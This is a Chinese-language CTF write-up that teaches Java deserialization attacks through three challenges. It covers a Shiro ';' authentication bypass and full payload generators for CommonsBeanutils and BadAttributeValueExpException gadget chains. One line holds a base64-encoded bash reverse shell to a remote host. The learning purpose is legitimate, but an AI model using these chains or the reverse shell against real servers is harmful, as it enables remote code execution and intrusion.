美文网首页
java 反序列化入门 (一)

java 反序列化入门 (一)

作者: CSeroad | 来源:发表于2023-02-07 17:23 被阅读0次

前言

学习java反序列化遇到各种调用链是经常的事情,但因为调用链的复杂不是很方便理解。这里找几道java反序列化相关的CTF题目帮助我们理解java反序列化漏洞。

2022美团CTF

首先在本地将jar启动,浏览器访问该端口。页面显示为登录框。

image.png

分析

将jar包放在jd-gui里面打开可以看到源代码。

image.png

可以看出在访问/admin/hello路由时,通过data传递的参数先进行base64解码之后会触发ObjectInputStream 类的 readObject() 方法,该方法用于反序列化,将字节流重构为对象。

显而易见的是该路由无法访问,是因为在ShiroConfig类进行了过滤。

filterMap.put("/admin/*", "authc");

即访问admin路由下的任意内容均需要权限认证。

anon:匿名用户可访问
authc:认证用户可访问
user:使用rememberMe可访问
perms:对应权限可访问
role:对应角色权限可访问

在pom.xml 里看到当前shiro版本为1.5.2,可使用;绕过

image.png

存在shiro 权限绕过漏洞。

image.png

Shiro将;认作为/,再进入Spring时又会被正确处理为web应用下的/admin/hello 路由。

payload 构造

下面就是如何进行反序列化了?
查看lib库里存在常见的commons-beanutils-1.9.4.jar和commons-collections-3.2.2.jar。
以commons-beanutils-1.9.4.jar为例

package com.example.demo3.tools;

/**
 * @author cseroad
 */

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

public class commons_beanutils {
    public static byte[] serialize(Object o)throws Exception{
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        return barr.toByteArray();
    }
    public static void unserialize(byte[] barr) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr));
        ois.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("/Users/cseroad/IdeaProjects/demo3/target/classes/com/example/demo3/tools/eval.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "Arsene.Tang");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator();
        Queue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        System.out.println(Base64.getEncoder().encodeToString(serialize(queue)));
        //unserialize(serialize(queue));
    }
}

eval.java

package com.example.demo3.tools;

/**
 * @author cseroad
 */
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class eval extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public eval() throws Exception {
        Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
    }
}

注意引用的commons-beanutils要和题目的版本保持一致。
将生成的payload再进行一次url编码。

image.png

成功弹出计算器。说明调用链没有问题了,下面只需要更改为反弹shell的命令即可。

Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIxMC4yOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"});

小结

该题目考察了shiro的权限绕过和commons-beanutils调用链的基本操作。

东华杯2021 ezgadget

也是一个java包,在本地启动即可。

image.png

分析

同样将jar包放在jd-gui里面打开可以看到源代码。

image.png

当访问readobject路由时,接受一个data参数 base64解码后,先读取字符串和INT并判断,判断通过后再读取对象进行反序列化。
但这里只是一个反序列化操作,lib库也没有引用多余的jar包。
ToStringBean类实现了 Serializabel 接口,是可以序列化的,而里面调用了defineClass,用来加载字节码,并且通过newInstance实例化加载Class类。

image.png

因此如果可以调用到该toString() 方法,并且控制ClassByte内容,就可以实现命令执行。
而在cc5中存在一条gadget调用链,可以调用任意类的toString() 方法。
BadAttributeValueExpException可以主动触发val字段的toString方法

payload 构造

现在尝试构造一下payload。
首先是实例化BadAttributeValueExpException类,反射传值val

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException();
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(obj,value);

调用的是ToStringBean类的toString() 方法。并设置ClassByte

byte[] bytes = null;
ToStringBean toStringBean = new ToStringBean();
Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
classByte.setAccessible(true);
classByte.set(toStringBean,bytes);

而后就是序列化类,先写进字符串和int,再写进对象。

ByteArrayOutputStream OutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(OutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = OutputStream.toByteArray();
Tools tools = new Tools();
String s = tools.base64Encode(bytes1);

整理以后poc为

package com.ezgame.ctf.tools;

import org.junit.Test;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
 * @author cseroad
 */
public class test {

    @Test
    public void test() throws Exception {
        byte[] bytes = Files.readAllBytes(Paths.get("/Users/cseroad/IdeaProjects/demo3/target/classes/com/example/demo3/tools/poc.class"));
        ToStringBean toStringBean = new ToStringBean();
        Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        classByte.set(toStringBean,bytes);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("111");
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);
        objectOutputStream.writeObject(badAttributeValueExpException);
        byte[] bytes1 = byteArrayOutputStream.toByteArray();
        Tools tools = new Tools();
        String s = tools.base64Encode(bytes1);
        System.out.println(s);

    }
}

poc.java

import java.io.IOException;
/**
 * @author cseroad
 */
public class poc {

    public poc(){

    }
    static {
        try{
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

需要注意的是ToStringBean类在com.ezgame.ctf.tools包下,所以构造poc时也要同样的包名。

image.png

否则提示类不存在。

image.png

小结

该题目巧妙借用cc5的BadAttributeValueExpException类,调用到指定包下的ToStringBean类的toString() 方法,从而命令执行。
调用链如下:

com.ezgame.ctf.controller.Tools.base64Decode() --->
objectInputStream.readObject() ---> 
BadAttributeValueExpException.readObject ---> 
com.ezgame.ctf.tools.ToStringBean.toString() ---> 

JavaLearnVulnerability

https://github.com/SummerSec/JavaLearnVulnerability/tree/master/shiro/shiro-ctf/target 下载jar 包,启动即可。

image.png

分析

同样将jar包放进jd-gui里面打开可以看到源代码。
先看pom.xml

image.png image.png

再看shiroconfig类,访问index路由需要权限认证。
但shiro为1.5.3版本,存在权限绕过。
引用nice0e3大佬的总结图。

image.png

成功绕过。

image.png

再看控制器层

image.png

当访问/index/ 路由时,从请求中获取cookie值,并判断cookie的name值是否等于hacker,如果存在对cookie值进行base64解码后反序列化操作。

image.png image.png

入口类source就找到了。那用来做什么操作呢?
com.summersec.shiroctf.Tools#Tools存在一个exeCmd()方法,用来命令执行。

image.png

而在com.summersec.shiroctf.Tools#LogHandler存在一个invoke()方法和toString()方法。都调用了exeCmd()方法。

image.png

如果可以调用这两个方法的任意一个,并控制其中的静态变量值,就可以实现命令执行。

payload 构造

以调用LogHandler类的toString()方法为例,那就先实例化出来并调用

LogHandler logHandler = new LogHandler();
logHandler.toString();

需要控制的是私有的属性值readLog,反射调用。

LogHandler logHandler = new LogHandler();
Field readLog = logHandler.getClass().getDeclaredField("readLog");
readLog.setAccessible(true);
readLog.set(logHandler,"");
logHandler.toString();

调用LogHandler类的toString()方法,就自然想到了BadAttributeValueExpException类。

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, logHandler);

接着就是序列化

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
Tools tools = new Tools();
String s = tools.base64Encode(bytes1);
System.out.println(s);

将以上代码整理后就是payload

package com.summersec.shiroctf.Tools;

import org.junit.jupiter.api.Test;


import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

/**
 * @author cseroad
 */
public class test {

    @Test
    public void test() throws Throwable {
        LogHandler logHandler = new LogHandler();
        Field readlog = logHandler.getClass().getDeclaredField("readLog");
        readlog.setAccessible(true);
        readlog.set(logHandler, "/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        //logHandler.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, logHandler);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        byte[] bytes1 = byteArrayOutputStream.toByteArray();
        Tools tools = new Tools();
        String s = tools.base64Encode(bytes1);
        System.out.println(s);

    }

}

image.png

小结

这道题目很好的将上面的两个题目进行了整合。即巩固了shiro的权限绕过又再次学习了BadAttributeValueExpException类的使用。
调用链如下:

com.summersec.shiroctf.Tools.base64Decode() --->
com.summersec.shiroctf.Tools.deserialize() --->
ObjectInputStream.readObject() --->
BadAttributeValueExpException#readObject ---> 
com.summersec.shiroctf.Tools.LogHandler#toString --->
com.summersec.shiroctf.Tools.exeCmd()

总结

做了几道关于java反序列的题目,加深了对反序列的理解,在尚且还不清楚各种复杂调用链的情况下,很适合初学者练习。

相关文章

  • java专题之序列化

    一、基本概念 1、什么是序列化和反序列化 (1)Java序列化是指把Java对象转换为字节序列的过程,而Java反...

  • Gson 系列文章

    gson教程 1、Gson - Java-JSON 序列化和反序列化入门2、Gson - 映射嵌套对象3、Gson...

  • Java入门--序列化与反序列化

    Java入门--序列化与反序列化 需要实例化的类 需要实现 Serializable 接口 (空接口, 不定义必须...

  • 反序列化漏洞

    【1】Java反序列化漏洞从入门到深入https://xz.aliyun.com/t/2041 【2】Java饭序...

  • Jackson 入门

    Jackson 入门 1. 快速参考 1.1 将java对象转化为json串(序列化), writeValue(....

  • 序列化与反序列化1

    一、什么是序列化与反系列化? 序列化是将对象转换为二进制形式的数据(如Java中的byte数组),反序列化是再将二...

  • Java-序列化-反序列化

    Thanks Java基础学习总结——Java对象的序列化和反序列化java序列化反序列化原理Java 序列化的高...

  • java序列化那些事儿

    java序列化作用 在说java序列化的作用之前,先说下什么是java序列化吧。java序列化是指把java对象转...

  • Java序列化

    Java序列化的几种方式以及序列化的作用 Java基础学习总结——Java对象的序列化和反序列化

  • Spark序列化

    Java序列化 有关Java对象的序列化和反序列化也算是Java基础的一部分,首先对Java序列化的机制和原理进行...

网友评论

      本文标题:java 反序列化入门 (一)

      本文链接:https://www.haomeiwen.com/subject/shtzhdtx.html